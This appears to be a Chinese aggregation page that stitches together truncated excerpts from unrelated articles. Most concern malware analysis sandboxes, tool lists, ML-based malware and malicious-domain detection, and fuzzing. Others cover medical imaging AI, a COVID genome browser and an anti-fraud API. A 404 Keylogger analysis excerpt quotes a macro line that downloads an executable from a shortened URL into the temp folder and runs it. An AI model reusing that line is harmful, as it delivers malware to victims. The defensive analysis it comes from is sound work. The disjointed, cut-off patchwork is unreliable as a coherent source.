声明：本人坚决反对利用文章内容进行恶意攻击行为，一切错误行为必将受到惩罚，绿色网络需要靠我们共同维护，推荐大家在了解技术原理的前提下，更好的维护个人信息安全、企业安全、国家安全。...0x01 前言 做为一名网络安全爱好者在日常工作中难免会用到一些恶意软件检测平台，用来分析一些木马样本，例如：钓鱼邮件的恶意样本分析，分析网上下载的工具是否存在木马后门，自己编写了免杀工具查看其免杀效果等...接下来，小编通过网上搜集了一些恶意软件检测的在线平台，总结如下： 0x02 恶意软件检测分析平台 VirSCAN： https://www.virscan.org VirusTotal： https:/.../any.run NoDistribute： http://nodistribute.com Hybrid Analysis： https://www.hybrid-analysis.com 魔盾安全分析...： https://www.maldun.com 微步在线云沙箱： https://s.threatbook.cn 腾讯哈勃分析系统： https://habo.qq.com 奇安信威胁情报中心： https
因此，来自以色列的网络安全以及恶意软件研究人员Ran Dubin和Ariel Koren博士开发并在Black Hat大会上发布了一款革命性的产品——以人工智能驱动的具有机器学习能力的恶意软件研究平台—...旨在帮助用户在受到攻击前就及时识别恶意软件样本并作出相应动作。 但是，由于分析恶意软件行为往往是在执行恶意代码之后，所以该程序不能用作防御机制，并且需要一个隔离的受控环境来监视其行为。...此外，SNDBOX还可以与各种第三方平台相互集成，能够参考其他来源的样本、调查信息，通过行为模式、向量、属性、标签等多个载体对恶意软件信息进行汇总。...SNDBOX数据库的搜索功能 每个记录在案的恶意软件样本都会上传SNDBOX平台，相关结果都可通过搜索结果公开访问。...除此之外，用户可以免费查看和下载任意已提交的恶意软件样本的PCAP文件（捕获的网络流量）以及样本本身的完整报告。所有用户都可以通过平台沟通交流，分享见解、资源、IOC等等。 ?
，安全公司扫描引擎的主要作用就是样本的分类，但是不管是任何一家公司开发的引擎都会存在误报、漏报的问题，这样就需要一批人从事样本的快速鉴定与筛选工作，这类工作就是批量点样本，快速鉴定样本，每天一个样本鉴定人员可能需要人工处理上百个样本...上面的工作需要有一些快速鉴定样本的能力，说实在话，如果一直从事这样的工作，真的会很枯燥无味，像流水线上的机器人一样，每天重复做着差不多的劳动，也不需要知道太多的恶意样本分析知识，只需要知道一些简单的知识即可处理...，然后再深入的研究学习病毒知识，真正的成为一个恶意样本分析员，而不是简单的样本鉴定人员，其实任何一个行业都是如此，先简后难，真正要成为一个行业某个领域的专家，绝不是一两天的事情，需要持续不断的学习和研究...由于现在安全大环境，黑产团队会通过各种不同的恶意样本攻击各种不同平台的，但是现在做企业安全，目前来说主要是以Window/Linux平台为主，云安全服务器主机也主要以Windows/Linux为主，MAC...恶意样本分析是一项非常复杂的工作，需要学习的东西很多很多，涉及到的知识面也很广，后面可能还会遇到各种不同平台的文件需要分析，做恶意样本分析工作真的需要不断的学习，同时还需要跟各种恶意样本分析专家进行交流
00 导语 构建恶意域名检测引擎，对海量域名进行自动化检测并识别出恶意域名，让威胁情报的检测和运营变得更智能、更高效，以缓解威胁情报分析师分面对海量威胁数据的分析压力。...黑灰域名标注数据来源于安全分析专家对可疑域名数据的人工鉴定。...通过对安全事件、威胁访问等数据进行规则挖掘，得到了大量潜在恶意的域名，安全专家通过对这些恶意域名进行溯源、分析，来判定这些域名是否为恶意域名，在MDDE-core的建模过程中，选取了这些人工鉴定的恶意域名作为黑...受益于腾讯海量安全数据的积累，恶意域名的溯源和分析有了充足的背景知识和数据集成平台，这为MDDE-core的构建提供了两个维度的准备，一是丰富的样本特征，如DNS、URL等数据，让威胁鉴定有了充足的上下文...04 实时域名向量化 在第3节中，建模用的域名会在数据平台上获取相关特征的原始数据，然后传输到关系数据库，再通过开发机进行试验编码，但在实际的安全分析和运维中，需要对当时遇到的域名进行实时的评估分析，
二、安天追影对样本的分析 在对利用CVE-2017-0199漏洞的一些样本及变形的分析中得出了该类样本的一些惯用攻击手法。...2）安天追影具备连接外网的条件，且攻击者的远程命令与控制服务器仍正常工作 这种情况下，安天追影的动态分析环境能够访问真实的互联网，样本在运行中能够成功地访问到存放恶意文件的C2服务器，下载C2服务器上的恶意文件并执行...安天追影可通过动态还原恶意样本的执行过程，利用hook和注入技术监测样本各执行阶段的操作，采集实时运行数据，根据自定义规则进行行为判定，深度输出样本行为。 ?...2、单独部署 安天追影单独部署到用户内部网络中，对投放至安天追影中的文件进行深度鉴定，并输出鉴定结果。鉴定结果可用于未知样本分析研究、已知病毒样本分析研判等。 ?...4）与OA系统联动：对文件进行鉴定分析，根据鉴定结果标识文件，方便文件管理。 5）文件存储服务器：对服务器上的文件进行鉴定分析，根据鉴定结果对文件进行管理。 ?
- 近期的恶意软件样本和分析的收集 Exploit Database - Exploit 和 shellcode 样本 Infosec - CERT-PA - 恶意软件样本收集与分析 Malpedia...- Linux平台上的自动化恶意代码分析工具....SEKOIA Dropper Analysis - 在线 dropper 分析，支持 Js、VBScript, Microsoft Office, PDF VirusTotal - 免费的在线恶意软件样本和...- x86 和 x86_64 的反汇编库和工具 Vivisect - 恶意软件分析的 Python 工具 WinDbg - 用于 Windows 操作系统的多用途调试器，可以调试用户态应用程序、设备驱动程序与内核转储...Polichombr - 一个恶意软件分析平台，旨在帮助分析师逆向恶意软件。
腾讯安全云鼎实验室在 CAAD Village 上带来前沿议题分享，云鼎实验室安全专家张壮、史博以基于卷积神经网络的多形态恶意软件检测为例，分享了安全厂商应用人工智能之后对抗病毒免杀技术的效果；同时还站在攻击方的视角...，介绍了恶意软件使用了生成式对抗网络之后，可绕过应用机器学习检测模型的案例。...张壮指出，在面对新增病毒样本数量巨大，无法有效通过手工及时添加规则、手动规则提取在有些问题中的不适性、人工规则主观性很高等检测难点，人工智能查杀都能轻易克服。...人工智能查杀可以处理海量样本，检测特征纬度更广，病毒免杀难度增大。对于加壳或者多态变形病毒也有着良好的效果，检测过程无需脱壳。...但是张壮指出，人工智能的模型本身存在一些“视觉盲点”，容易受到生成样本的攻击，更重要的是，人工智能的相关技术同样可以为病毒开发者所用。
「智能数字肺」，四万张图片与两秒钟 图像识别是人工智能技术落地的第一站，在医疗领域同样如此。 与安防场景的痛点相似，面对大量需要鉴定的医疗影像，人的精力显得非常有限。...与医生平均 10-15 分钟的诊断时间相比，模型「鉴定几百张图片只需两秒钟时间」。 除了给出影像判断，这款被称为「智能数字肺」的智能辅助平台还能生成文字版的诊断报告。...目前已有多家顶级三甲医院采用「智能数字肺」平台，医生采纳诊断结果的比例高达 90% 以上。 「智能数字肺」的思路，是否能迁移到其他疾病或部位的诊断？...患儿家长只需根据孩子生病的情况，点击画面中对应小熊的部位，再回答细分的、与症状相关的问题，就能得到患儿的诊断分析和治疗方案建议。 ?...虽然目标是提供给家长使用，但还是「规划一个比较长的时间，让医生先试用」。 踏足医疗，是因难得的历史机遇 尽管「人工智能公司」的定位是可以解释依图踏足医疗的条件之一，但显然缺乏足够的必然性。
六、魔盾安全分析：https://www.maldun.com 魔盾安全分析 (MALDUN.COM) 提供了一个免费的基于虚拟执行的恶意软件及网页链接分析平台。...七、微步在线云沙箱：https://s.threatbook.cn ThreatBook Cloud Sandbox恶意软件分析平台,与传统的反恶意软件检测不同，微步云沙箱提供完整的多维检测服务，通过模拟文件执行环境来分析和收集文件的静态和动态行为数据...八、腾讯哈勃分析系统：https://habo.qq.com 哈勃分析系统，是腾讯反病毒实验室自主研发的安全辅助平台。...用户可以通过简单的操作，上传样本并得知样本的基本信息、可能产生的行为、安全等级等等信息，从而更便捷地识别恶意文件。...大圣云沙箱是一款基于云端架构的高级威胁检测和恶意软件免费分析服务，通过引入沙箱技术对最新高级恶意软件进行虚拟执行、行为捕获等全面深入的分析检测。
近日深信服安全团队捕获到一个最新的404 Keylogger木马变种，通过OFFICE文档嵌入恶意宏代码进行传播，盗取受害者浏览器的网站帐号和密码，深信服安全团队对此样本进行了详细分析，并获取到了黑客FTP...样本是一个RTF文档，里面嵌套了OLE对象，包含恶意宏代码，如下所示： ?...( ”http://bit.ly/2P7EoT7 ” , ”$ENv:teMp\4235.exe” ) ; stARt ”$ENv:tEMP\4235.exe” 分析下载的恶意程序，使用NET语言进行开发...该恶意程序还有截屏等操作，在分析该恶意程序的时候发现了黑客的FTP服务器地址，以及帐号和密码，登录进去，发现它已经盗取了部分受害者的主机信息，如下所示： ?...2、深信服为广大用户免费提供查杀工具，可下载如下工具，进行检测查杀。
Androl4b – 用于评估Android应用程序，逆向工程和恶意软件分析的虚拟机 3....Mobile-Security-Framework MobSF – 移动安全框架是一种智能的，多合一的开源移动应用程序（Android / iOS）自动化测试框架，能够执行静态，动态分析和Web API...Android Tamer – 适用于Android安全专业人员的虚拟/实时平台 14. DECAF – 基于QEMU的动态可执行代码分析框架（DroidScope现在是DECAF的扩展） 15....Vezir Project – 用于移动应用程序渗透测试和移动恶意软件分析的虚拟机； 27. MARA – 移动应用程序逆向工程和分析框架 28....Android Malware Genome Project –包含1260个恶意软件样本，这些样本分为49个不同的恶意软件家族，可免费用于研究目的 4.
市场指南.jpg Gartner从企业用户视角，对云上负载平台的保障需求进行了全面的市场风险分析和处置建议，并以多能力&多平台能力、脆弱性扫描&配置与合规能力、基于身份的分段&可视化与控制能力、应用控制...腾讯为全功能&多平台分类矩阵中两家全球公有云厂商之一。 CWPP云工作负载保护平台旨在解决现代混合云、多云数据中心基础架构中服务器工作负载的独特保护要求。...面对日益严峻的网络安全形势，企业需要建立强大的安全防御体系以不断增强对恶意攻击的抵抗能力。...采用“云+端”防护架构，自研轻量客户端，低资源消耗、安全可靠；云端自研AI查杀引擎+特征引擎,每日鉴定千万级样本,不断自学习样本训练；针对Webshell查杀,创新提出基于词法序列的查杀方法，大幅度提升查杀的精准度...,检出率超过95%，能够有效对抗加密变形类恶意样本，为百万级主机安全保驾护航。
它可集成到各种应用程序和平台中，通过手机号码、手机IP进行异常检测，达到防范恶意注册、虚假评论、虚假交易等欺诈行为的目的。...本文主要介绍反欺诈（羊毛盾）API 的工作原理、以及在用户行为分析技术、地理位置识别技术等领域的应用，了解它是如何帮助平台识别恶意注册、虚假评论、虚假交易等欺诈行为。...； 疑似僵尸号：通过帐号社交异常行为，判断为僵尸帐号； 疑似养号：通过帐号社交异常行为，判断为黑产团队恶意养号中的号码； 染色垃圾小号：离线图算法聚集识别的黑产小号； 疑似真机假用户：根据设备的一些数据表现...在用户行为分析技术的应用 图片 在地理位置识别技术的应用 图片 反欺诈（羊毛盾）API 应用案例 反欺诈（羊毛盾）API在电商平台、金融服务、社交媒体、游戏平台等不同场景下，可以通过识别用户行为、建立用户画像...1.申请免费试用 API 注册登录 APISpace 之后，在 反欺诈（羊毛盾）API 详情页 可以看到【免费试用】的按钮，点击即可获得相应的免费次数。
《IDA Pro - IDA Pro Book：全球最受欢迎的反编译器非官方指南》 fuzzing课程/培训视频： 免费 纽约大学Poly（查看更多视频） - 由Dan Guido免费提供。...radamsa - 通用型fuzzer和测试用例生成器。...KernelFuzzer - 跨平台的内核Fuzzer框架。 honggfuzz - 一个易于使用的fuzzer以及有趣的分析选项。支持基于代码覆盖的feedback-driven fuzzing。...污点分析 用户输入如何影响执行 PANDA（构建于顶级QEMU系统上的新一代动态分析平台） QIRA（QEMU交互式运行时分析器） kfetch-toolkit - 执行高级记录引用的工具 符号执行SAT...Debuggers Windbg - windows平台下强大的用户态和内核态调试工具。 Immunity Debugger- 专门用于加速漏洞利用程序的开发，辅助漏洞挖掘以及恶意软件分析。
OpenAI 曝新漏洞，允许新用户“无限试用” 不久前，OpenAI 为了让用户尝试其他开放的人工智能项目，特意为新用户提供了免费的信用积分额度（约7美元）。...随后网络安全公司Checkmarx表示，目前发现了一个漏洞，允许用户滥用试用，并在新账户上获得无限的信用积分额度。 2....微软Azure API管理服务平台披露三大漏洞，现已修复 近日，微软Azure API管理服务平台披露了三个新的安全漏洞，恶意行为者可以通过这些漏洞直接访问敏感信息或后端服务。 4....本文将对这一情况进行深入调查分析，向大家展示那些恶意软件买卖生意，其中包括如何买卖 Google Play 帐户、恶意软件、广告服务等。...溯源分析 | 黑客横扫亚多家云平台做流量劫持 自 2022 年 9 月上旬以来，数万个针对东亚用户的网站遭到黑客攻击，将数十万用户重定向到成人主题内容。
大量的新冠数据如何分析？海量的数据无从下手？新检测的境外输入序列如何鉴定来源？让Coronavirus GenBrower来帮你！...GenBrowser不但建立了新的理论体系，还从无到有建立了完整的数据分析流程、数据可视化平台。...二、传播与演化推断 基于新的理论框架，实现了突变的鉴定和时间的推断，重现新冠病毒的传播过程，帮助梳理新冠病毒序列系统发生关系。...除了搜索过滤，Coronavirus GenBrowser还提供了多样化的条件过滤，包括国家、性别、年龄、日期，都可根据需要进行自由组合，最终帮助你挑选出你所感兴趣的样本以便进行后续分析。...同样可通过www.egps-software.net下载免费软件。
GandCrab的黑产团队出来作恶就不知道了，这些年做勒索和挖矿的黑产，基本都发财了，闷声发着大财…… 赚了20亿美元GandCrab勒索病毒家族的故事已经结束，但我的故事还在继续，还有更多各种不同的恶意样本家族需要我去跟踪分析...基本国内用户的电脑装机之后都会选择安装其中的一款软件，当时大家的电脑好多都是在电脑城自己组装的，电脑城装机在哪里也非常火，有些安全软件估计和他们有合作，给用户电脑安装相应的安全软件，然而这些安全软件是收费的，所以大家就会在网上找那种免费半年的试用版...故事讲完了，我来说说这些年我都在干啥，这些年我一直在坚守着自己的底线，也一直在坚持做着安全研究，分析各种恶意样本，这些年的坚持是为什么，在坚守着什么？...，让我帮忙看看，我分析之后发现一款非常流行Linux下的DDOS攻击样本，直到现在这款样本依然在Linux DDOS攻击中占据大片江山，如下所示： 一次XorDDos变种样本的分析实战记录(附工具下载...： 大部分基于Mirai的样本，都是采用交叉编译的方式，编译于各种不同平台的程序，进行攻击，类似于这种，如下所示： 后面有空我也会写一些关于Mirai各种的恶意软件的分析报告。
攻击者在其活跃时间区间内，通过攻击payload投递的样本共来自18个不同的URL。通过NTI历史情报查询，部分恶意样本服务器在存在其他恶意行为的记录。...2.2样本服务器 攻击者在其活跃时间区间内，通过攻击payload投递的样本来自18个不同的URL，我们通过这些样本URL关联其他情报进行分析，这些样本URL及其关联IP、域名在VT都没有恶意标记及样本文件等关联信息...我们在NTI历史情报信息中进行查询，部分恶意样本服务器在存在其他恶意行为的记录。...致力于以场景为导向，智能设备为中心的漏洞挖掘、研究与安全分析，关注物联网资产、漏洞、威胁分析。...目前已发布多篇研究报告，包括《物联网安全白皮书》、《物联网安全年报2017》、《物联网安全年报2018》、《物联网安全年报2019》、《国内物联网资产的暴露情况分析》、《智能设备安全分析手册》等。
Malcom这款工具可分析系统内的网络通信流量，并以图形化的形式将流量分析情况提供给用户，分析结果中将包含已知的恶意软件源，而这些信息将有助于安全研究专家对特定的恶意软件进行分析。...Malcom可以帮助我们： 1、 检测中央命令&控制服务器； 2、 识别点对点网络； 3、 识别DNS基础设施； 4、 快速判断网络流量“恶意性”； Malcom的目标是通过图形化的网络流量信息来帮助研究人员更加轻松地分析恶意软件...，并提供更加智能化的情报信息。...下面给出的是主机tomchop.me的分析样本图： ? 数据集查看（可过滤IP） ? 工具安装 Malcom采用Python开发，并提供了大部分必要的代码库，你可以直接在任何平台上运行Malcom。...Maxmind数据库免费下载地址：【传送门】。 你可以使用./malcom.py来启动Web服务器，并使用./malcom.py –help监听接口和端口。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
实时音视频
即时通信 IM
对象存储
